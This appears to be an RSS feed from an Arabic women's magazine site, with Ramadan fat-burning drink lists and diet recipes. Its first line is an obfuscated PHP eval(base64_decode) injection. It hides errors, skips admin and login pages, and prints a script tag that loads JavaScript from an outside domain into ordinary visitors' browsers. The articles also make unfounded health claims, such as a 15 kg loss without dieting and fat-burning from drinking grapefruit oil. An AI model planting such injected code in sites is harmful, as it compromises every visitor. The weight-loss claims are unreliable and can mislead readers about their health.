eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); جوزال | وصفات لحرق الدهون https://jouzal.com مجلة نسائية عربية Tue, 02 Mar 2021 15:39:32 +0000 ar hourly 1 https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png جوزال | وصفات لحرق الدهون https://jouzal.com 32 32 5 مشروبات لحرق الدهون في رمضان بدون رجيم سالي فؤاد https://jouzal.com/5-%d9%85%d8%b4%d8%b1%d9%88%d8%a8%d8%a7%d8%aa-%d9%84%d8%ad%d8%b1%d9%82-%d8%a7%d9%84%d8%af%d9%87%d9%88%d9%86-%d9%81%d9%8a-%d8%b1%d9%85%d8%b6%d8%a7%d9%86-%d8%a8%d8%af%d9%88%d9%86-%d8%b1%d8%ac%d9%8a%d9%85/ Tue, 02 Mar 2021 15:39:32 +0000 https://jouzal.com/?p=5985 مشروبات لحرق الدهون في رمضان.. تشتهر المشروبات الرمضانية باحتوائها على الكثير من السعرات الحرارية التي من شانها أن تؤدي إلى زيادة الوزن بكل تأكيد، ولكن على خلاف تلك المشروبات، نقدم لكم من خلال ذلك المقال مجموعة من أفضل المشروبات وأكثرها فعالية في انقاص الوزن.

مشروبات للتخسيس ونسف الدهون في رمضان

يبحث الكثير من الأشخاص الذين يرغبون في خسارة المزيد من الوزن عن مشروبات فعالة ومضمونة لنسف الدهون وتخسيس الجسم دون الحاجة إلي اتباع اي نظام رجيم قاسي او متعب، ونقدم لكم عبر مجلتنا جوزال للصحة والجمال، اكثر المشروبات التي حققت نتائج مذهلة في حرق الدهون وفقدان الوزن في شهر رمضان.

الماء الليمون

يفيد شرب كوب من ماء الليمون الدافئ قبل الأكل بحوالي 15 دقيقة في إنقاص الوزن بشكل فعال ، فقد أظهر فعّاليته في التخلّص من السموم وحرق الدهون، فهو يساعد في عمليّة الأيض، ويعمل على تقوّية جهاز المناعة.

طريقة تحضيره: يُضاف عصير نصف حبّة من الليمون، إلى كوبٍ من الماء الدافئ ويمكن إضافة شريحة من الزنجبيل لتقوية مفعوله.

مشروب زيت الغريب فروت

يعدّ زيت الجريب فروت من الزيوت الأساسيّة التي تساعد في فقدان الوزن، حيث تأثيره الفعال في إطلاق الأحماض الدهنيّة في مجرى الدم، بالإضافة إلى مفعولة السريع في الهضم، ويمكن استخدامه بوضع قطرة أو اثنتين من الزيت في زجاجة ماء وشربها بين حين وآخر.

يهمك : اقوي مشروبات لحرق الدهون في رمضان بسرعة رهيبة بدون رجيم #سالي فؤاد

المشروبات التي تساعد علي حرق الدهون في رمضان

الشاي الأخضر

هو من المشروبات الدافئة الشهيرة والمعروف بفوائده المتعددة، وكثيراً ما يستخدمه الأشخاص الذين يتبعون حميات غذائية لانقاص الوزن، فمن المعروف عن الشاي الأخضر احتوائه على كثير من مضادات الأكسدة القويّة، وقدرته على خفض معدّلات الكوليسترول”.

وينصح بشرب الشاي الأخضر في درجة حرارة أقلّ من درجة الغليان، ويمكن إضافة قطرات من عصير الليمون لتعزيز مفعوله.

شاي الايورفيديك

من المشروبات الهامة التي تستهدف عند استخدامها القضاء على الوزن الزائد، وذلك من خلال تأثيره الفعال في تحسين الهضم، وهو من المشروبات التي تقاوم تراكم الدهون، ويساعد الجسم في التخلص من السموم.

https://www.youtube.com/watch?v=6pvsNQ7dtHE

طريقة تحضيره: يضاف حوالى نصف ملعقة صغيرة من بذور الكزبرة ونصف ملعقة من الكمّون ومثلها من الشمّر، إلى ما يقارب خمس أكواب من الماء المغلي ويفضل ترك الخليط منقوع لفترة وجيزة، ثم يُصفّى ويُشرب على مدار اليوم.

خل التفاح

يعرف خلّ التفاح بفوائده العديدة، مثل استخدامه في تحسين مستويات السكر في الدم وفعاليته في تعزيز عمليات الهضم، فضلاً عن استخدامه كحارق للدهون عند مزجه مع الماء والعسل.

طريقة تحضيره: يتم خلط ملعقة صغيرة من خلّ التفاح مع كوب من الماء الدافئ أو الفاتر، ويُفضل شربه قبل تناول وجبة السحور.

]]> اقوي مشروبات لحرق الدهون في رمضان بسرعة رهيبة بدون رجيم #سالي فؤاد https://jouzal.com/%d8%a7%d9%82%d9%88%d9%8a-%d9%85%d8%b4%d8%b1%d9%88%d8%a8%d8%a7%d8%aa-%d9%84%d8%ad%d8%b1%d9%82-%d8%a7%d9%84%d8%af%d9%87%d9%88%d9%86-%d9%81%d9%8a-%d8%b1%d9%85%d8%b6%d8%a7%d9%86-%d8%a8%d8%b3%d8%b1%d8%b9%d/ Tue, 02 Mar 2021 15:06:46 +0000 https://jouzal.com/?p=5981 مشروبات لحرق الدهون في رمضان بسرعة.. نعلم جيداً أن اتباع حمية غذائية لانقاص الوزن من الأمور المرهقة لدى الكثيرين، ولكنك لن تكون مضطر لإتباع نظام غذائي قاسي بعد الآن، فقط يمكنك أن تتناول تلك المشروبات التي نذكرها لك في ذلك المقال والتي تساعدك بشكل كبير على حرق الدهون.

مشروبات لحرق الدهون في رمضان

يرغب العديد من الأشخاص في الوصول إلي الوزن المثالي دون اتباع حمية غذائية قاسية ومرهقة للجسم، ولذلك يلجأون الي المشروبات التي تساعدهم علي تنزيل الوزن وحرق الدهون، ولعل من أبرز اخصائي التغذية في وطننا العربي الخبيرة والشيف سالي فؤاد ، التي يعشقها ويتابعها الملايين، ويمكنكم متابعة كافة انظمتها الغذائية ووصفات التخسيس من هنا.

الماء

يعتبر الماء من المشروبات الساحرة التي تساعد في حرق الدهون بشكل فعال جداً، ويفيد في إنقاص الوزن بشكل عام، حيث يعمل الماء علي زيادة نشاط الكلى مما يؤدي إلى طرد السموم من الجسم، ويعمل على تحفيز الدورة الدموية، لذلك يجب تناول ما لا يقل عن ثماني أكواب من الماء بين وجبة الإفطار ووجبة السحور.

مشروب القرفة

ثبت فعالية مشروب القرفة في تحفيز عمليات الهضم وحرق الدهون ، لذلك ننصحك بتناولها بعد وجبة الإفطار مباشرة لتسهيل عملية  الهضم وسهولته، وحرق الدهون الزائدة في الجسم.

يهمك : نصائح جديدة 2021… السبع خطوات للتخسيس وحرق الدهون سالي فؤاد

مشروب عصير الليمون

يعتبر عصير الليمون من أكثر المشروبات التي من شأنها أن تساعدك علي حرق الدهون، ومن حسن حظك أنه يُمكنك تناوله بارداً أو دافئا، كما يمكنك إضافته إلي السلطات أو النعناع أو الشاي أو الزبادي .

الزنجبيل

يساعد الزنجبيل في تسهيل عمليات الهضم و يزيل الشعور بالامتلاء والتخمة بعد تناول وجبة الإفطار، يُمكنك تناول مشروب الزنجبيل بمفرده أو إضافته مع القرفة.

تابع ايضاً: أفضل 5 وصفات طبيعية لحرق الدهون في رمضان هتنزل جسمك 15 كيلو بدون رجيم

مشروب الشكولاتة الداكنة

يساعد ذلك المشروب في سد الشهية لفترة طويلة، كما يساعد في حرق الدهون وإنقاص الوزن.

عصير البطيخ

عصير البطيخ الطبيعي ملئ بالماء مما يساعدك علي عدم الشعور بالعطش خلال فترات الصيام كما أنه يساعد في حرق الدهون وتعزيز عمليات الهضم.

عصير البقدونس

يفيد عصير البقدونس كذلك في حرق الدهون كما أنه من المشروبات التي تملء المعدة مما يؤدي إلى سد الشهية لفترات طويلة.

عصير الأناناس

الأناناس من الفواكه الخفيفة التي تنفرد بطعم مميز، ولا يتطلب إضافة السكر لتحسين طعمها ، كما أنه قليل السعرات الحرارية ويساعدك على الشعور السريع بالشبع لفترات طويلة، فيمكنك تناوله في وجبة السحور فهو يساعدك أيضاً على عدم الشعور بالعطش أثناء الصيام .

 

]]> أفضل 5 وصفات طبيعية لحرق الدهون في رمضان هتنزل جسمك 15 كيلو بدون رجيم https://jouzal.com/%d8%a3%d9%81%d8%b6%d9%84-5-%d9%88%d8%b5%d9%81%d8%a7%d8%aa-%d8%b7%d8%a8%d9%8a%d8%b9%d9%8a%d8%a9-%d9%84%d8%ad%d8%b1%d9%82-%d8%a7%d9%84%d8%af%d9%87%d9%88%d9%86-%d9%81%d9%8a-%d8%b1%d9%85%d8%b6%d8%a7%d9%86/ Mon, 01 Mar 2021 16:08:45 +0000 https://jouzal.com/?p=5977 أفضل خمس وصفات للتخسيس في رمضان، من الاعتقادات الشائعة عند الكثير من الناس أن الاعتماد على حمية غذائية لانقاص الوزن خلال شهر رمضان، من الأمور التي يصعب تحقيقها، فمن المتعارف عليه عن الشهر الكريم أنه تكثر به الأطباق والوصفات الشهية والحلويات التي لا يستطيع الكثير مقاومتها، ولكن في حقيقة الأمر ان هذا الاعتقاد خاطئ تماماً لأنّه خلال الشهرَ المبارك توجد فرصة عظيمة  لانقاص الوزن، من خلال اتباع عدد من الخطوات البسيطة، وعدم تناول الطعام بطريقة عشوائيّة لمجرد لامتلاءَ المعدة فقط، ومن خلال المقال التالي نوضح لكم بعض من الوصفات الطبيعيّة التي تساعدكم في الوصول للوزن المثالي خلال شهر رمضان.

وصفات طبيعية لحرق الدهون في رمضان

يرغب العديد من الأشخاص في الحصول علي وزن مثالي وجسم رشيق دون اتباع رجيم قاسي او مرهق للجسم، ودائما مايبحثون عن وصفات طبيعية وآمنة وايضاً فعالة في حرق الدهون والتخلص من الوزن الزائد، لذا نقدم لكم عبر مجلة جوزال للصحة والجمال اقوي وافضل 5 وصفات حارقة للدهون، وتساعد علي خسارة الوزن في وقت قياسي بدون رجيم او حمية غذائية، ولكن يرجي التنويه انه من الافضل عدم الافراط في السكريات والمشروبات الغازية، حتي تحصلون علي نتائج مذهلة، وتأتي الوصفات كالتالي:

الوصفة الأولى الخل والعسل

الخلّ وعسل النحل، تعتبر هذه الوصفة  من أقوى الوصفات التي يمكنها أن تساعدك في تقليل وزنك، من خلال فعاليتها في حرق الدهون، وتتضمّنُ هذه الوصفة خلط ملعقة كبيرة من الخل الأبيض أو خلّ التفاح مع ملعقة كبيرة من العسل الأبيض في كوب مياه، ويفضل تناول ذلك الخليط قبل وجبة السحور.

الوصفة الثانية الكمون وعصير الليمون

الكمّون وعصير الّليمون، يمكنك تحضير تلك الوصفة  بغلي ملعقة من الكمّون جيداً في كوب من المياه، ثم يضاف إليه حبة ليمون مقسمة نصفين، وعند شرب الخليط يتم إضافة القليل من عصير الليمون، ويفضل استخدام هذه الوصفة بعد وجبة الإفطار بنصف ساعة على الأقل، وسوف تلاحظ مفعول تلك الوصفة بعد حوالي أسبوع من استخدامها.

يهمك ايضاً: احدث نظام دايت سريع لنسف الدهون بعد رمضان نظام PSMF

الوصفة الثالثة الماء والليمون

الماء والّليمون،  وهذا الخليط فعّال للغاية لا سيّما في حرق الدهون الموجودة في مناطقِ مختلفة من الجسم، ويعتبر من أسهل الوصفات التي يمكن تحضيرها،  فكل ما تتطلبه الوصفة هو خلط  كوب من عصير الليمون مع كوبيْن من الماء، و يفضل تناول الخليط  دافئاً بعد وجبة الإفطار.

الوصفة الرابعة القرفة والزنجبيل

القرفة والزنجبيل، يتم خلط كمياتٍ متساويةٍ من مسحوق  الزنجبيل والقرفة، وغليهما في كوبٍ من المياه، ويتم تناوله مرّتين يومياً بعد وجبة الإفطار وقبل السحور، ويمكن اضافة القليل من عصير الليمون لزيادة فاعلية هذه الوصفة.

الوصفة الخامسة الليمون والحليب

الّليمون والحليب، يخلط كوب من الحليب البارد مع ملعقة من عصير الليمون، ويُتناوَل المزيج  بعد وجبة الإفطار مباشرةً، وتعد هذه الوصفة من أقوى الوصفات المجربة في حرق الدهون.

 

]]> خضار متبلة مشوية للرجيم https://jouzal.com/%d8%ae%d8%b6%d8%a7%d8%b1-%d9%85%d8%aa%d8%a8%d9%84%d8%a9-%d9%85%d8%b4%d9%88%d9%8a%d8%a9-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ Wed, 13 Jan 2021 08:03:35 +0000 https://jouzal.com/%d8%ae%d8%b6%d8%a7%d8%b1-%d9%85%d8%aa%d8%a8%d9%84%d8%a9-%d9%85%d8%b4%d9%88%d9%8a%d8%a9-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ خضار متبلة مشوية للرجيم .. ينصح أخصائيي التغذية بتناول الخضار أثناء اتباع الرجيم، تعلمي وصفة خفيفة ومميزة لرجيمك المثالي، وجربيها تمتعي بطعمها المذهل، جربيها الآن

خضار متبلة مشوية للرجيم

المقادير

البطاطس :
2 حبة
(بحجم متوسط، مقطّعة مكعبات)

الجزر :
2 حبة
(حجم كبير، مقطّع شرائح)

الكوسا :
2 حبة
(حجم كبير، مقطّعة مكعبات)

طماطم :
2 حبة
(حجم متوسط، مقطّعة شرائح)

البصل :
1 حبة
(حجم كبير، مفروم فرماً ناعماً)

كزبرة خضراء :
نصف كوب
(مفرومة فرماً ناعماً)

ملح :
ملعقة صغيرة

فلفل أسود :
ملعقة صغيرة

زيت الزيتون :
ربع كوب

يهمك ايضاً: سلمون مشوي مع الأعشاب للرجيم

طريقة التحضير

  • حمّي الفرن على حرارة 150 درجة مئوية.
  • في وعاء كبير، ضعي البطاطس، الجزر، الكوسا، الطماطم والبصل، وقلّبي المكونان حتى تتداخل.
  • أضيفي الملح، الفلفل الأسود وزيت الزيتون، وقلّبي المكونات حتى تتداخل.ضعي مزيج الخضار في صينية فرن، وأضيفي
  • الكزبرة على الوجه، وأدخلي الصينية إلى الفرن لـ35-40 دقيقة حتى تنضج الخضار.
  • أخرجي الصينية من الفرن، وقدّمي الخضار المشوية على سفرتك كطبق جانبي.

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]> شوربة العدس بالخضار دايت https://jouzal.com/%d8%b4%d9%88%d8%b1%d8%a8%d8%a9-%d8%a7%d9%84%d8%b9%d8%af%d8%b3-%d8%a8%d8%a7%d9%84%d8%ae%d8%b6%d8%a7%d8%b1-%d8%af%d8%a7%d9%8a%d8%aa/ Sat, 09 Jan 2021 09:44:43 +0000 https://jouzal.com/%d8%b4%d9%88%d8%b1%d8%a8%d8%a9-%d8%a7%d9%84%d8%b9%d8%af%d8%b3-%d8%a8%d8%a7%d9%84%d8%ae%d8%b6%d8%a7%d8%b1-%d8%af%d8%a7%d9%8a%d8%aa/ جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

شوربة العدس بالخضار دايت


<!–

–>

مطبخ سيدتي

Sat, 09 Jan 2021 00:00:00 GMT
Sat, 09 Jan 2021 09:38:56 GMT

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(‘js’, new Date());

gtag(‘config’, ‘UA-8935925-4’);

شوربة العدس بالخضار دايت


شوربة العدس بالخضار دايت .. نقدم لكِ من مطبخ سيدتي طريقة عمل وصفات شوربة العدس الخاصة بالرجيم، جربيها على طريقتنا وبالصحة والعافية

تعلمي أيضاً:&nbsp; شوربة بروكلي دايت

المقادير

البصل :
1 حبة
(كبير الحجم / مفروم ناعم)

الثوم :
ملعقة صغيرة
(مهروس)

زيت الزيتون :
ملعقة كبيرة

الجزر :
1 حبة
(كبير الحجم / مقطّع مكعّبات صغيرة)

العدس :
ثلاث أرباع الكوب

طماطم :
ثلاث أرباع الكوب
(مهروسة)

الكوسا :
1 حبة
(كبيرة الحجم / مقطّعة إلى مكعّبات)

الكمون :
ملعقة كبيرة
(مطحون)

طريقة التحضير

نقوم بتسخيّن الزيت في قدر عميق على النار ونضيف له البصل والثوم ثم نقلّب المكوّنات حتى تتحمّر.
نضيف الماء أو مرق الخضار مع الطماطم المهروسة ونضيف العدس ثم نحرّك المكوّنات جيّداً.
نضيف الخضار المقطّعة للشوربة ثم نضيف الكمّون ونغطّي القدر ونترك الشوربة على نار هادئة حتى تنضج المكوّنات جيّداً وتصبح حبوب العدس ليّنة حيث تحتاج من 40 دقيقة إلى ساعة ثم نرفع الشوربة عن النار ونضيف لها الملح والفلفل وعصير الليمون.

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]> بودينج الشوكولاتة بالأفوكادو للرجيم https://jouzal.com/%d8%a8%d9%88%d8%af%d9%8a%d9%86%d8%ac-%d8%a7%d9%84%d8%b4%d9%88%d9%83%d9%88%d9%84%d8%a7%d8%aa%d8%a9-%d8%a8%d8%a7%d9%84%d8%a3%d9%81%d9%88%d9%83%d8%a7%d8%af%d9%88-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ Fri, 08 Jan 2021 07:05:58 +0000 https://jouzal.com/%d8%a8%d9%88%d8%af%d9%8a%d9%86%d8%ac-%d8%a7%d9%84%d8%b4%d9%88%d9%83%d9%88%d9%84%d8%a7%d8%aa%d8%a9-%d8%a8%d8%a7%d9%84%d8%a3%d9%81%d9%88%d9%83%d8%a7%d8%af%d9%88-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

بودينج الشوكولاتة بالأفوكادو للرجيم


<!–

–>

مطبخ سيدتي

Fri, 08 Jan 2021 00:00:00 GMT
Fri, 08 Jan 2021 07:05:19 GMT

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(‘js’, new Date());

gtag(‘config’, ‘UA-8935925-4’);

بودينج الشوكولاتة بالأفوكادو للرجيم


بودينج الشوكولاتة بالأفوكادو للرجيم … إليك من مطبخ سيدتي وصفات الحلويات الخفيفة المناسبة للرجيم، جربي وصفات البودينغ السهلة والسريعة وتمتعي بطعمها الشهي

شاهدي:&nbsp; بودينغ النسكويك بثلاث مكونات للأطفال بالفيديو

المقادير

حليب لوز :
كوب
(غير محلى)

الأفوكادو :
2 حبة
(مقشر ومنزوع النواة)

الكاكاو :
ثلث كوب
(غير محلى / مع ملعقة كبيرة إضافية.)

العسل :
نصف كوب
(و2 ملعقة كبيرة كمية إضافية)

القرفة :
ربع ملعقة صغيرة

الفانيليا :
2 ملعقة صغيرة

طريقة التحضير

نقوم بخلط جميع المكونات بعجانة الطعام حتى نحصل على مزيج كريمي متجانس.
نقوم بصب الخليط في أكواب التقديم ويترك بالثلاجة على الأقل 3 ساعات.

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]> سلطة السلمون المدخن للرجيم https://jouzal.com/%d8%b3%d9%84%d8%b7%d8%a9-%d8%a7%d9%84%d8%b3%d9%84%d9%85%d9%88%d9%86-%d8%a7%d9%84%d9%85%d8%af%d8%ae%d9%86-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ Tue, 05 Jan 2021 07:42:09 +0000 https://jouzal.com/%d8%b3%d9%84%d8%b7%d8%a9-%d8%a7%d9%84%d8%b3%d9%84%d9%85%d9%88%d9%86-%d8%a7%d9%84%d9%85%d8%af%d8%ae%d9%86-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

سلطة السلمون المدخن للرجيم


<!–

–>

مطبخ سيدتي

Tue, 05 Jan 2021 00:00:00 GMT
Tue, 05 Jan 2021 07:39:22 GMT

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(‘js’, new Date());

gtag(‘config’, ‘UA-8935925-4’);

سلطة السلمون المدخن للرجيم


سلطة السلمون المدخن للرجيم .. وصفة رجيم خفيفة، وشهية، ومناسبة جداً لمن يتبعون الحمية لإنقاص الوزن، تعلمي مع مطبخ سيدتي الطريقة السريعة لتحضيرها وتمتعي بطعمها الرائع والمميز

تعلمي أيضاً:&nbsp; سلمون مشوي مع الأعشاب للرجيم

المقادير

مقادير الصلصة :

الطحينية :
2 ملعقة كبيرة

المايونيز :
ملعقة كبيرة
(لايت)

خل البلسمك :
2 ملعقة كبيرة

عصير الليمون :
2 ملعقة صغيرة

الشبت :
2 ملعقة كبيرة
(مفروم)

ملح :
حسب الرغبة

السلمون المدخن :
100 غراماً

الجرجير :
نصف حزمة

الطماطم الكرزية :
300 غراماً
(ملونة، مقطّعة شرائح)

الأفوكادو :
1 حبة
(مقطّع)

الفجل :
ربع كوب
(مقطّع شرائح)

خس :
8 ورقات

طريقة التحضير

قطّعي أوراق الخسّ بطريقة طوليّة متساوية وضعيها في طبق التقديم.
ضعي الجرجير والطماطم الكرزية الملوّنة والأفوكادو والفجل فوق الخس في الطبق.
وزّعي السلمون في الطبق بشكل جميل.
لتحضير الصلصة: في وعاء صغير، ضعي الطحينة والمايونيز وخلّ البلسميك وعصير الليمون الحامض والشبت المفروم.
رشّي الملح بحسب الذوق واخلطي المكونات جيداً حتى تتجانس.
إذا كانت الصلصة كثيفاً قليلاً، صبّي القليل من الماء.
وزعي كمية قليلة من الصلصة فوق طبق السلطة.
ضعي كمية الصلصة المتبقية في وعاء وقدّميها إلى جانب السلطة، وزيّني بالشبت ثم قدميها.

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]> بطاطس بالتونة للرجيم https://jouzal.com/%d8%a8%d8%b7%d8%a7%d8%b7%d8%b3-%d8%a8%d8%a7%d9%84%d8%aa%d9%88%d9%86%d8%a9-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ Mon, 04 Jan 2021 07:57:07 +0000 https://jouzal.com/%d8%a8%d8%b7%d8%a7%d8%b7%d8%b3-%d8%a8%d8%a7%d9%84%d8%aa%d9%88%d9%86%d8%a9-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

بطاطس بالتونة للرجيم


<!–

–>

مطبخ سيدتي

Mon, 04 Jan 2021 00:00:00 GMT
Mon, 04 Jan 2021 07:54:09 GMT

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(‘js’, new Date());

gtag(‘config’, ‘UA-8935925-4’);

بطاطس بالتونة للرجيم


بطاطس بالتونة للرجيم .. وصفات رجيم خفيفة وبسعرات حرارية قليلة نقدمها لكِ من مطبخ سيدتي، جربي البطاطس المشوية والمحشية بسمك التونة الصحي، جربيها اليوم وشاركينا رأيك بالطعم

تعلمي أيضاً:&nbsp; بطاطس مشوية مقرمشة للرجيم

المقادير

البطاطس :
2 حبة
(كبيرة الحجم، مغسولة)

التونا :
علبة

زيت الزيتون :
حسب الحاجة

الزبدة :
2 ملعقة صغيرة
(لايت)

البصل الأخضر :
2 ملعقة كبيرة
(مفروم ناعم)

ملح :
حسب الرغبة

فلفل أسود :
حسب الرغبة

عصير الليمون :
2 ملعقة كبيرة
(حامض)

طريقة التحضير

حمّي الفرن على حرارة 200 درجة مئوية.
اصنعي ثقوباً عميقة في البطاطس بواسطة الشوكة ثم ضعيها في صينية فرن.
ادهنيها بزيت الزيتون ونكهيها بالملح والفلفل الأسود.
أدخليها إلى الفرن لحوالي 60 دقيقة حتى تنضج.
أخرجيها وقطعيها طولياً إلى قسمين.
اهرسي لب البطاطس بالشوكة وأضيفي الزبدة.
فتتي التونة في طبق وضعي فوقه عصير الليمون الحامض، وملعقتان كبيرتان من زيت الزيتون.
قسمي التونة فوق البطاطس بالتساوي وزينيها بالبصل الأخضر.

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]> سلمون مشوي مع الأعشاب للرجيم https://jouzal.com/%d8%b3%d9%84%d9%85%d9%88%d9%86-%d9%85%d8%b4%d9%88%d9%8a-%d9%85%d8%b9-%d8%a7%d9%84%d8%a3%d8%b9%d8%b4%d8%a7%d8%a8-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ Fri, 01 Jan 2021 10:27:21 +0000 https://jouzal.com/%d8%b3%d9%84%d9%85%d9%88%d9%86-%d9%85%d8%b4%d9%88%d9%8a-%d9%85%d8%b9-%d8%a7%d9%84%d8%a3%d8%b9%d8%b4%d8%a7%d8%a8-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

سلمون مشوي مع الأعشاب للرجيم


<!–

–>

مطبخ سيدتي

Fri, 01 Jan 2021 00:00:00 GMT
Fri, 01 Jan 2021 10:26:16 GMT

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(‘js’, new Date());

gtag(‘config’, ‘UA-8935925-4’);

سلمون مشوي مع الأعشاب للرجيم


سلمون مشوي مع الأعشاب للرجيم … وصفات الرجيم الخفيفة والمميزة نقدمها لكِ من مطبخ سيدتي، اختاري سمك السلمون لوجبة صحية ولذيذة وسهلة التحضير

تعلمي أيضاً:&nbsp; سلمون مشوي على الطريقة التايلندية للرجيم

المقادير

السلمون :
4 شرائح

الثوم :
فصّان
(مهروس)

ملح :
حسب الرغبة

فلفل أسود :
حسب الرغبة
(مطحون)

روزماري :
ملعقة كبيرة

عصير الليمون :
ربع كوب

ريحان :
ملعقة صغيرة

زيت الزيتون :
نصف كوب

طريقة التحضير

نقوم بخلط الثوم مع الملح والفلفل الأسود وعصير الليمون.
نضع شرائح السلمون في التتبيلة ثمّ نُقلب حتى تتبل بشكل كامل.
نصفّ شرائح السمك في صينية مدهونة بالقليل من زيت الزيتون وننثر الروزماري والريحان على سطحها.
نُدخل الصينية إلى فرن مسخن مسبقاً على درجة حرارة مرتفعة ويُترك السمك حتى يتحمر من كافة الجهات.

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]> العصير الأخضر للرجيم https://jouzal.com/%d8%a7%d9%84%d8%b9%d8%b5%d9%8a%d8%b1-%d8%a7%d9%84%d8%a3%d8%ae%d8%b6%d8%b1-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ Wed, 30 Dec 2020 08:10:14 +0000 https://jouzal.com/%d8%a7%d9%84%d8%b9%d8%b5%d9%8a%d8%b1-%d8%a7%d9%84%d8%a3%d8%ae%d8%b6%d8%b1-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

العصير الأخضر للرجيم


<!–

–>

مطبخ سيدتي

Wed, 30 Dec 2020 00:00:00 GMT
Wed, 30 Dec 2020 08:09:59 GMT

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(‘js’, new Date());

gtag(‘config’, ‘UA-8935925-4’);

العصير الأخضر للرجيم


